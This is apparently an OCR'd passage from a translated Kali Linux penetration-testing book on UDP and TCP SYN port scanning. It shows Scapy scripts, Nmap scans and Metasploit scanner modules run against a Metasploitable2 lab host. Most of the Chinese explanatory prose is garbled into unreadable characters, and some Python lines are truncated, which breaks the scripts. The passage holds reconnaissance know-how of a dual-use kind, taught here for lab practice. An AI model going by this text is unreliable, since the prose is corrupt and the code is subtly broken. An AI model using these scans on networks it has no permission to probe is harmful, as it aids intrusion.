FrFEREF R M L ICMP 36 > 2489 type AT EMRTE

8 code R T ATk o XA ZEAFE £ UDP 3% 2 X H B RS o iui s ZATRE

ZERGEEFR M H R ZI TR AL L EER S E] #Tiﬁﬁ T oo T I
» G BARsE o5 4s 53 P L ERREAFEF R B

>>> response = sr1(IP(dst="172.16.36.135")/UDP(dport=53), timeout
=1, verbo se=1)

Begin emission:

Finished to send 1 packets.

Received 8 packets, got @ answers, remaining 1 packets
LA R A RREFAEMNRSLN > ZAKIEE - XARY DNSIREEHE AR

é’] UDP s# v 53 k> e i m R &4 2 891h R o R—ZFTWAA T ICMP T
kom0 BATT AR AR Lok & 695% 0 A B AR S ¢



#1/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *
import time
import sys

if len(sys.argv) != 4:

print "Usage - ./udp_scan.py [Target-IP] [First Port] [Last
Port]"

print "Example - ./udp_scan.py 10.0.0.5 1 100"

print "Example will UDP port scan ports 1 through 100 on 10.
0.0.5"
sys.exit()

ip = sys.argv[1]
start = int(sys.argv[2])
end = int(sys.argv[3])

for port in range(start,end):
ans = sr1(IP(dst=ip)/UDP(dport=port), timeout=5,verbose=0)
time.sleep(1)

if ans == None:
print port
else:
pass

L @8y Python By A& 53] F AT — & 4 55 2 ‘1’6’3 5 /1\‘ 0X% UDP#HK - XREXRA
%xﬁ&ﬁ%ﬂ’”UTMuﬁi%ﬁ% HBATEAP AR » RATT R B AT A
TR E [CMP AR 34 of k2 89 5%

root@KalilLinux:~# chmod 777 udp_scan.py

root@KalilLinux:~# ./udp_scan.py

Usage - ./udp_scan.py [Target-IP] [First Port] [Last Port]
Example - ./udp_scan.py 10.0.0.5 1 100

Example will UDP port scan ports 1 through 100 on 10.0.0.5
root@KalilLinux:~ # ./udp_scan.py 172.16.36.135 1 100

53

68

69

MEA 5 AR THEHELZLEH ICMP R Tikik RRA 69 o BPAERA T & Ko9oh
BREO s IFFZANBRHDARAR AT - XzhA UDP EMia kT & o 3388
BREZZENRRA o
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EAREE P » UDP 2#B L R3] = E ICMP 3% 0 R 7 3k of k2 6958 @ kIR F] o X
ANEAZIE TR TR 0 B A ICMP 5% 0 7~ T ik oh &2 38 # %&$W% ﬁﬁﬁ,ﬁ%
TAERZA L) ARG » T HF RNEAFRTE > HHLICMP i 2 K3GH Rk - %
R Nwh A4 R £ 45 T 484 kiE RE @GR 2 o z‘i%‘#@ﬁé‘ﬁﬂ*‘rﬁ%%4‘%%
P RET o

3.4 Nmap UDP 1243

Nmap A T AMATZAE £ % L8 UDP 32 #54693% 71 - Nmap 4 UDP da4 7 X £ e
B BlZEANREHEHEZEL kFERLR L@ AL » ATHIAIETIRSE Y
Bl RRHEHRE o XA E T T w7148l Nmap UDP 42 # kia #

T ZAma s EESANRGL o

&

A T4 H Nmap #A4T UDP 424 » 1R & & — 41247 UDP M %R %69 A2 IR 55 35 o
ii/x\ﬂ’f T & M1 A Metasploitable2 5 #]k #474£ % - & & Metasploitable2 & £
%13 Bk A% % —F P 6“2 £ Metasploitable2”#: 4% ©

B B

UDP 32 438 % dr ks bt » HAERT1E] » JEF A o 7 % A2 TRH ICMp TR T2
B0 R EIE heda b K E om0 R AT F AT A &4k o FE 892 0 Nmap 897 &K 4
WA Em B A b TE R RH| &A% L6 UDP IR % o 4 7488 Nmap AT
UDP da4% » & &4 M -su %R > H & LFZdah69 T4 IP 3k o

root@KalilLinux:~# nmap -sU 172.16.36.135

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:04 EST
Nmap scan report for 172.16.36.135

Host is up (0.0016s latency).

Not shown: 993 closed ports

PORT STATE SERVICE

53/udp open domain

68/udp open|filtered dhcpc

69/udp open|filtered tftp

111/udp open rpcbind
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
2049/udp open nfs

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1043.91 seconds



& X Nmap & F 424 2 AR %69 8 & L ERAT k1R UDP 3% 2 89om o 2R AR
EeHF ki Atramant » €5 e FERXZHE R/MEKING 1000 N5k 2 o 4R
TN R AEIE F A B > B2 F K4 20 240 R Dk o EA BN » A
AL AT E da ket | 38 348 A T 7] % Inglesit AT 4t beda 4

root@KaliLinux:~# nmap 172.16.36.135 -sU -p 53

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:05 EST
Nmap scan report for 172.16.36.135

Host is up (0.0010s latency).

PORT STATE SERVICE 53/udp open

domain MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.09 seconds

WwRENBET FEROFTH T > AT UDP 2T & 69898t 1R TR K
Ly o A AT UDP faf A BAE R -p A4 T8 ok I o £ T @ a5
Fb oo RAVRARAE 53 550 EWATaAP > R ZXR5 DNS RS o T WLE A48
TR s LA T kg o R

root@KaliLinux:~# nmap 172.16.36.135 -sU -p 1-100

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:06 EST
Nmap scan report for 172.16.36.135
Host is up (0.00054s latency).

Not shown: 85 open|filtered ports
PORT STATE SERVICE

8/udp closed unknown

15/udp closed unknown

28/udp closed unknown

37/udp closed time

45/udp closed mpm

49/udp closed tacacs

53/udp open domain

56/udp closed xns-auth

70/udp closed gopher

71/udp closed netrjs-1

74/udp closed netrjs-4

89/udp closed su-mit-tg

90/udp closed dnsix

95/udp closed supdup

96/udp closed dixie

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 23.56 seconds



F XA P 0 A A 100 Nom o EAT o KA AR5 A5 0 e £
Btk — MR B —Mma kTR o Nmap B R # % M2 > 2R R mi
B G H®DT o e—LFIT » UDP T & £ 5 AR LIAT o T U A AL
FEHT o HEZLRE—A P EGEGTCE > kiafe e B A6 A o

root@KaliLinux:~# nmap 172.16.36.0-255 -sU -p 53

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:08 EST
Nmap scan report for 172.16.36.1

Host is up (0.00020s latency).

PORT STATE SERVICE

53/udp closed domain

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 172.16.36.2

Host is up (0.039s latency).

PORT STATE SERVICE

53/udp closed domain

MAC Address: 00:50:56:FF:2A:8E (VMware)

Nmap scan report for 172.16.36.132

Host is up (0.00065s latency).

PORT STATE SERVICE

53/udp closed domain

MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.135

Host is up (0.00028s latency).

PORT STATE SERVICE

53/udp open domain

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 256 IP addresses (6 hosts up) scanned in 42.81 second
s

A FF o dadhat 172.16.36.0/24 FHTH &3 IMMAT o A ZAAMA R
RIBHAE A 539 LiE4TT DNS IR F o A — A Taade 5 AT MANRET > 3t
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root@KaliLinux:~# nmap -ilL iplist.txt -sU -p 123

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:16 EST
Nmap scan report for 172.16.36.1

Host is up (0.00017s latency).

PORT STATE SERVICE

123/udp open ntp

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 172.16.36.2

Host is up (0.00025s latency).

PORT STATE SERVICE

123/udp open|filtered ntp

MAC Address: 00:50:56:FF:2A:8E (VMware)

Nmap scan report for 172.16.36.132

Host is up (0.00040s latency).

PORT STATE SERVICE

123/udp closed ntp

MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.135

Host is up (0.00031s latency).

PORT STATE SERVICE

123/udp closed ntp

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 4 IP addresses (4 hosts up) scanned in 13.27 seconds

A FF > PATT AR K FIBT NTP R E 2 E BT S ATHATE FF
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3.5 Metasploit UDP iz 3%

Metasploit 4874 — A% By i3k » T AR T4a 4445 X 69 % A UDP 3 oﬁAﬂ%&
T Tt g R XA B AR S kA2 #5247 UDP IR EAN A AR S MR L

M %
A T4 H Metasploit #.47 UDP 4245 » 1R & & —A~E47 UDP M %k 4 69 A2 /R 5

& o A %qﬂﬁﬂ‘] % M Metasploitable2 % | R #471E % o & & Metasploitable2
B & %45 Bim 2% H—F F 9“2 £ Metasploitable2”#: 4% °



e B

2B ST BATR R Z AT » & 247 JF Metasploit °© A T £ Kali P41+ 8 » RAITAEL
9% 475 P AT msfconsole 4 o

root@KaliLinux:~# msfconsole
# cowsay++

< metasploit >

\ 5 —
\ (o0)___
(—) N
[1--11

Large pentest? List, sort, group, tag and search your hosts and

services in Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]

+ -- --=[ 1053 exploits - 590 auxiliary - 174 post

+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > use auxiliary/scanner/discovery/udp_sweep
msf auxiliary(udp_sweep) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
probe in each set

CHOST no The local client addre
Ss

RHOSTS yes The target address ran
ge or CIDR identifier

THREADS 1 yes The number of concurre

nt threads

A T £ Metasploit F 32417 UDP 2 #443k » &A1 A0 st A2 F use &
Ao —BHIFTAHEB » TUMEA show options # 4 RAAIARE KR E o &
Mk rmig g &k &
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msf auxiliary(udp_sweep) > set RHOSTS 172.16.36.135
RHOSTS => 172.16.36.135

msf auxiliary(udp_sweep) > set THREADS 20

THREADS => 20

msf auxiliary(udp_sweep) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
probe in each set

CHOST no The local client addre
Ss

RHOSTS 172.16.36.135 yes The target address ran
ge or CIDR identifier

THREADS 20 yes The number of concurre

nt threads

£ E@EgHFF 0 RHOSTS MM A RAVAT Hia R o9 A2 A 469 |IP 33k o sboh s
KAZFFH A 20 THREADS WIMAR XL TEE EWMATH S At 54 & - AT L&A
REGRIFE —NTFH > RERITESRE  XT2TEHELAATR T %
BAGR 20 NERETURGH  AHMEEE - ASFEHATLBOTEIE » TUHXK
1%l show options @A RIEUE o — L F R EBIWELE » LT AIATHARMT -

msf auxiliary(udp_sweep) > run

[*] Sending 12 probes to 172.16.36.135->172.16.36.135 (1 hosts)
[*] Discovered Portmap on 172.16.36.135:111 (100000 v2 TCP(111),
100000 v2 UDP(111), 100024 v1 UDP(36429), 100024 v1 TCP(56375),
100003 v2 UDP(2049), 100003 v3 UDP(2049), 100003 v4 UDP(2049),
100021 v1 UDP(34241), 100021 v3 UDP(34241), 100021 v4 UDP(34241)
, 100003 v2 TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049),
100021 v1 TCP(50333), 100021 v3 TCP(50333), 100021 v4 TCP(50333
), 100005 v1 UDP(47083), 100005 vl TCP(57385), 100005 v2 UDP(470

83), 100005 v2 TCP(57385), 100005 v3 UDP(47083), 100005 v3 TCP(5
7385))

[*] Discovered NetBIOS on 172.16.36.135:137 (METASPLOITABLE:<00>
:U :METASPLOITABLE:<03>:U :METASPLOITABLE:<20>:U :__ MSBROWSE__ :<

01>:G :WORKGROUP:<00>:G :WORKGROUP:<1d>:U :WORKGROUP:<le>:G :00:

00:00:00:00:00)

[*] Discovered DNS on 172.16.36.135:53 (BIND 9.4.2)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Metasploit ¥ PT4& A 8 run 4R T HATAT L 69 5 BIAE 3R o £ £ @ 89 45] F
T 5 run 48T 8) IP AL AT UDP 424 o udp_sweep AR 3RAL ST vA4E A A
FE5HT o AT I IATIH



msf auxiliary(udp_sweep) > set RHOSTS 172.16.36.1-10
RHOSTS => 172.16.36.1-10
msf auxiliary(udp_sweep) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):

Name Current Setting Required Description
BATCHSIZE 256 yes The number of hosts to
probe in each set

CHOST no The local client addre
Ss

RHOSTS 172.16.36.1-10 yes The target address ran
ge or CIDR identifier

THREADS 20 yes The number of concurre

nt threads
msf auxiliary(udp_sweep) > run

[*] Sending 12 probes to 172.16.36.1->172.16.36.10 (10 hosts)
[*] Discovered NetBIOS on 172.16.36.1:137 (MACBOOKPRO-3EQF:<00>:
U :00:50:56:c0:00:08)

[*] Discovered NTP on 172.16.36.1:123 (NTP v4 (unsynchronized))
[*] Discovered DNS on 172.16.36.2:53 (BIND 9.3.6-P1-RedHat-9.3.6
-20. P1.el5_8.6)

[*] Scanned 10 of 10 hosts (100% complete)

[*] Auxiliary module execution completed

L@+ o UDP fafhxt 10 A AL AT » €418 RHOSTS TEIT o 5
Z ABPA » RHOSTS *T ¥A4# H CIDR k% T XML CHE » 1K A



msf auxiliary(udp_sweep) > set RHOSTS 172.16.36.0/24
RHOSTS => 172.16.36.0/24
msf auxiliary(udp_sweep) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
probe in each set

CHOST no The local client addres
s

RHOSTS 172.16.36.0/24 yes The target address rang
e or CIDR identifier

THREADS 20 yes The number of concurren
t threads

msf auxiliary(udp_sweep) > run

[*] Sending 12 probes to 172.16.36.0->172.16.36.255 (256 hosts)
[*] Discovered Portmap on 172.16.36.135:111 (100000 v2 TCP(111),
100000 v2 UDP(111), 100024 vl UDP(36429), 100024 vl TCP(56375),
100003 v2 UDP(2049), 100003 v3 UDP(2049), 100003 v4 UDP(2049),
100021 v1 UDP(34241), 100021 v3 UDP(34241), 100021 v4 UDP(34241)
, 100003 v2 TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049),
100021 vl TCP(50333), 100021 v3 TCP(50333), 100021 v4 TCP(50333
), 100005 v1 UDP(47083), 100005 vl TCP(57385), 100005 v2 UDP(470
83), 100005 v2 TCP(57385), 100005 v3 UDP(47083), 100005 v3 TCP(5
7385))
[*] Discovered NetBIOS on 172.16.36.135:137 (METASPLOITABLE:<00>
:U :METASPLOITABLE:<03>:U :METASPLOITABLE:<20>:U :__ MSBROWSE__ :<
01>:G :WORKGROUP:<00>:G :WORKGROUP:<1d>:U :WORKGROUP:<le>:G :00:
00:00:00:00:00)
[*] Discovered NTP on 172.16.36.1:123 (NTP v4 (unsynchronized))
[*] Discovered NetBIOS on 172.16.36.1:137 (MACBOOKPRO-3EQF:<00>:
U :00:50:56:c0:00:08) [*] Discovered DNS on 172.16.36.0:53 (BIND
9.3.6-P1-RedHat-9.3.6-20. P1.el5_8.6)

[*] Discovered DNS on 172.16.36.2:53 (BIND 9.3.6-P1-RedHat-9.3.6
-20. P1l.el5_8.6)

[*] Discovered DNS on 172.16.36.135:53 (BIND 9.4.2)

[*] Discovered DNS on 172.16.36.255:53 (BIND 9.3.6-P1-RedHat-9.3
.6-20. P1.el5 8.6)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

IAERE
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root@KalilLinux:~# scapy
Welcome to Scapy (2.2.0)
>>> i = IP()
>>> ji.display()
#a[ IP |###
version= 4
ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> j.dst = "172.16.36.135"
>>> i.display()
###[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= 1ip
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\

ATHEFRGIPE  ZNEFRKE 1P ¥ERLTE 1 o @I AA display &
oo RAVT AT 9B MR E o % » KEFEZ IR A W% 3

B> 127.0.0.1 © XEAAT LA ISR B ARMAE RS K > LB AKX E i.dst A

BEPRGHI T BE o ML BRI dislay Rk > RA1E B R L F#H69
Airht » WA FHEHTARKIAZEOA LR IP bt o MARMNMBET HRYIP
B ZBMNTUAMETCP ET o



>>> t = TCP()

>>> t.display()

#it#[ TCP |###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}

A THEEFERGTCP B » BAME A IP EARR 89355 o £RXAZEP » TCp 2t
ZRAT t TF o B ARBGAH > KB ETIAAL AR display &k
KT o XERANTIAAE B Arsd a6 BKAE A HTTP 3% 0 80 o xf T &A1& X
fath > AV TCP X ERE KN - AERNGZET TCPAIP & » RINFEHKE
MNa&xxMmEHF R -

>>> request = (i/t)
>>> request.display()
###[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\
#i#[ TCP |###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
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>>> response = sril(request)
...Begin emission:

........ Finished to send 1 packets.

Received 16 packets, got 1 answers, remaining O packets

>>> response.display()
#H##[ IP |###
version= 4L

ihl= 5L
tos= 0Ox0
len= 44
id= 0
flags= DF
frag= oL
ttl= 64
proto= tcp

chksum= 0x9970
src= 172.16.36.135
dst= 172.16.36.180
\options\

#it[ TCP |###
sport= http
dport= ftp_data
seq= 2848210323L

ack= 1
dataofs= 6L
reserved= OL
flags= SA

window= 5840

chksum= 0xf82d

urgptr= 0

options= [('MSS', 1460)]
###[ Padding ]|###

load= "\x00\x00'

A8 ] 69 3F KT VA TG M R A & — B R IAT
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>>> sr1(IP(dst="172.16.36.135")/TCP(dport=80))
.Begin emission: ............. Finished to send 1 packets.
*

Received 19 packets, got 1 answers, remaining O packets

<IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=
64 proto=tcp chksum=0x9970 src=172.16.36.135 dst=172.16.36.180 o
ptions=[] |<TCP sport=http dport=ftp_data seq=542529227 ack=1 d
ataofs=6L reserved=0L flags=SA window=5840 chksum=0x6864 urgptr=
0 options=[('MSS', 1460)] |<Padding load='\x00\x00' |>>>

£23i%% SYNHEL4EB4 Web RS X8 TCP v 80 A ##u LiztT T
HTTP i %8 » v s P &4 A TCP 4717 SA #4944 » X & 8] SYN #= ACK Az R AR 4K
& BAARRAF T AR O RTRE o AELEE  c wRARXAGIE
RAERBEZHEBENH T » 2B TE#EF R o

>>> response = sri1(IP(dst="172.16.36.135")/TCP(dport=4444))
..Begin emission:
.Finished to send 1 packets.
.* Recelved 7 packets, got 1 answers, remaining O packets
>>> response.display()
###[ IP |###
version= 4L
ihl= 5L
tos= Ox0
len= 40
id= 0
flags= DF
frag= OL
ttl= 64
proto= tcp
chksum= 0x9974
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i#[ TCP |###
sport= 4444
dport= ftp_data
seq= 0
ack= 1
dataofs= 5L
reserved= OL
flags= RA
window= 0
chksum= 0xfd0e3
urgptr= 0
options= {}
###[ Padding |###
load= '\x00\x00\x00\x00\x00\x00'
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>>> response = sr1(IP(dst="172.16.36.136")/TCP(dport=4444),timeo
ut=1,verb ose=1)

Begin emission:

Finished to send 1 packets

Received 15 packets, got 0 answers, remaining 1 packets

Yo R R Fat v p b AL A > timeout MRAAE 0 BB ALRELET £ o
BAEAT > timout A 1A » M TRINJRHKE A& > oA - T VAR T H|
B2 G E] TR

root@KalilLinux:~#

python Python 2.7.3 (default, Jan 2 2013, 16:53:07)

[GCC 4.7.2] on linux2

Type "help", "copyright", "credits" or "license" for more inform
ation.

>>> from scapy.all import *

>>> response = sr1(IP(dst="172.16.36.136")/TCP(dport=4444),timeo
ut=1, verb ose=1)

Begin emission:

WARNING: Mac address to reach destination not found. Using broad
cast. Finished to send 1 packets.

Received 15 packets, got O answers, remaining 1 packets
>>> if response == None:
print "No Response!!!"

No Response!!!

Python 894 A4 L & 5 TR T k0% sr1 RBLGHHEE 4 o TR
T Aegh o RFIBT R GHE] TR ToA R o 3t TR B 9oh 5 0 7T AT — A 5 )6 4
¥ & ok F| W7ok oz & BA s# O TR ARAE L K ] o X R G A4 S A% A Python ARk T
R0 A



#1/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setlLevel(logging.ERROR)
from scapy.all import *

import sys

if len(sys.argv) !=

print "Usage - ./syn_scan.py [Target-IP] [First Port] [Last
Port]"

print "Example - ./syn_scan.py 10.0.0.5 1 100"

print "Example will TCP SYN scan ports 1 through 100 on 10.0
.0.5"

sys.exit()

ip = sys.argv[1]
start = int(sys.argv[2])
end = int(sys.argv[3])

for port in range(start,end):
ans = sr1(IP(dst=ip)/TCP(dport=port), timeout=1,verbose=0)
if ans == None:
pass
else:
if int(ans[TCP].flags) ==
print port
else:
pass

34 Python B A » Al TAEAZ 7 kA IP Ak » Bp AZ G &3t & L4854 a )5
F| AT SYN d2 44 o B ARG 2B AN E AL - I 2 XA Biem e 69 SYN F=
ACK 7R AT B E o o Reh P B I FAACE I T X A712 0 AR X adar B A8 69 5%
2 5 A o

root@KalilLinux:~# chmod 777 syn_scan.py

root@KalilLinux:~# ./syn_scan.py

Usage - ./syn_scan.py [Target-IP] [First Port] [Last Port]
Example - ./syn_scan.py 10.0.0.5 1 100

Example will TCP SYN scan ports 1 through 100 on 10.0.0.5
root@KalilLinux:~# ./syn_scan.py 172.16.36.135 1 100

21
22
23
25
53
80
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root@KalilLinux:~# nmap -sS 172.16.36.135 -p 80

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:47 EST
Nmap scan report for 172.16.36.135

Host is up (0.00043s latency).

PORT STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds

A F P o 48 P Hbktd TCP 80 3% 1 L4T T TCP EAbda$h o 4=
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root@KaliLinux:~# nmap -sS 172.16.36.135 -p 21,80,443

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:48 EST
Nmap scan report for 172.16.36.135

Host is up (0.00035s latency).

PORT STATE SERVICE

21/tcp open ftp

80/tcp open http

443/tcp closed https

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds

ERZABITF > BiF IP f@m’y‘ T 2180 47 443 LHATT SYN 424 o KM
A4l Nmap kiats 45 7] » B d iz A2 MO F MR E— e 5 o XU
Fraka:

root@KaliLinux:~# nmap -sS 172.16.36.135 -p 20-25

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:48 EST
Nmap scan report for 172.16.36.135

Host is up (0.00035s latency).

PORT STATE SERVICE

20/tcp closed ftp-data

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

24/tcp closed priv-mail

25/tcp open smtp

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds

FEPTRAE G FF > SYN datie TCP 20 3] 25 s 0 L AT o« IR T IMA 48 €k #
S OB RS J Z O o Nmap J’Jﬂﬂ)ﬂﬁﬂﬁa%%éﬁmoo%ﬂ%}ﬂ O E) 7] & o KA XA
X

ff o Eagiafh o B RFRAEATH 048 745 B RELT Nmap -



root@KalilLinux:~# nmap -sS 172.16.36.135

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:46 EST
Nmap scan report for 172.16.36.135
Host is up (0.00038s latency). N
ot shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp  open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X1i1

6667/tcp open 1irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds

£ E@egHFF 0 2488 T Nmap & L8 1000 A~ Ass e » A -Tr 3
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root@KalilLinux:~# nmap -sS 172.16.36.135 -p 0-65535

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:51 EST
Nmap scan report for 172.16.36.135
Host is up (0.00033s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

6697/tcp open unknown
8009/tcp open ajpl3
8180/tcp open unknown
8787/tcp open unknown
34789/tcp open unknown
50333/tcp open unknown
56375/tcp open unknown
57385/tcp open unknown

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 16.78 seconds

&AM FF > Metasploitable2 £ % L7 A T 4649 65536 #» TCP it #fdafh 7 —
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root@KaliLinux:~# nmap 172.16.36.0-255 -sS -p 80

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:56 EST
Nmap scan report for 172.16.36.1 Host is up (0.00023s latency).
PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 172.16.36.2 Host is up (0.00018s latency).
PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:50:56:FF:2A:8E (VMware)

Nmap scan report for 172.16.36.132 Host is up (0.00047s latency)

PORT STATE SERVICE
80/tcp closed http
MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.135

Host is up (0.00016s latency).

PORT STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap scan report for 172.16.36.180
Host is up (0.0029s latency).

PORT STATE SERVICE

80/tcp open http

Nmap done: 256 IP addresses (5 hosts up) scanned in 42.85 second
s

EAMGFF > TCP 80 5% 2 89 SYN A2 245 T 3uhk 0 B A 89 TR ZhL AT - B K
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root@KalilLinux:~# cat iplist.txt
172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

root@KaliLinux:~# nmap -sS -iL iplist.txt -p 80

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:59 EST
Nmap scan report for 172.16.36.1

Host is up (0.00016s latency).

PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 172.16.36.2

Host is up (0.00047s latency).

PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:50:56:FF:2A:8E (VMware)

Nmap scan report for 172.16.36.132

Host is up (0.00034s latency).

PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.135

Host is up (0.00016s latency).

PORT STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 4 IP addresses (4 hosts up) scanned in 13.05 seconds

IAEJR 3
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root@KaliLinux:~# msfconsole
ITITTIIT dTb.dTb ---

II 4l V IB .lllll.l/l\‘.llllll
II 6. P /N .
II '"T;. P ./ |\ L
II 'T; ;P' 4 | A
ITIITII 'YVP' I

I love shells --egypt

Using notepad to track pentests? Have Metasploit Pro report on h
osts, services, sessions and evidence -- type 'go_pro' to launch
it now.

=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Required Description
BATCHSIZE 256 yes The number of hosts to
scan per set
INTERFACE no The name of the interf
ace
PORTS 1-10000 yes Ports to scan (e.g. 22
25,80,110-900)
RHOSTS yes The target address ran
ge or CIDR identifier
SNAPLEN 65535 yes The number of bytes to
capture
THREADS 1 yes The number of concurre
nt threads
TIMEOUT 500 yes The reply read timeout

in milliseconds



A1 T & Metasploit F #AT SYN 424 » YA BIE R 690 23 3842 A A use 4 o —
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#% name ~ current settings ~ required #° description ° name 7|i%
THEANTERETENLAR o current settings 77| THEATL T T EHILA B
B o required Z|AR A TAEMAE T E » X EALIMEY o description 7|44
WY BN ZOAE o ABTLE T Z BT set o4 > FHEHGEEA
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msf auxiliary(syn) > set RHOSTS 172.16.36.135
RHOSTS => 172.16.36.135

msf auxiliary(syn) > set THREADS 20

THREADS => 20

msf auxiliary(syn) > set PORTS 80

PORTS => 80

msf auxiliary(syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
scan per set

INTERFACE no The name of the interfa
ce

PORTS 80 yes Ports to scan (e.g. 222
5,80,110-900)

RHOSTS 172.16.36.135 yes The target address rang
e or CIDR identifier

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 20 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds

£ E@megBl-FF > RHOSTS A5 A AT HAa Rz 42 A 469 IP Huak o gboh »
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msf auxiliary(syn) > run

[*] TCP OPEN 172.16.36.135:80 [*] Scanned 1 of 1 hosts (100% com
plete)

[*] Auxiliary module execution completed The run command is used
in Metasploit to execute the selected auxiliary module. In the
example provided, the run command executed a TCP SYN scan agains
t port 80 of the specified IP address. We can also run this TCP
SYN scan module against a sequential series of TCP ports by sup
plying the first and last values, separated by a dash notation:

msf auxiliary(syn) > set PORTS 0-100
PORTS => 0-100
msf auxiliary(syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
scan per set

INTERFACE no The name of the interfa
ce

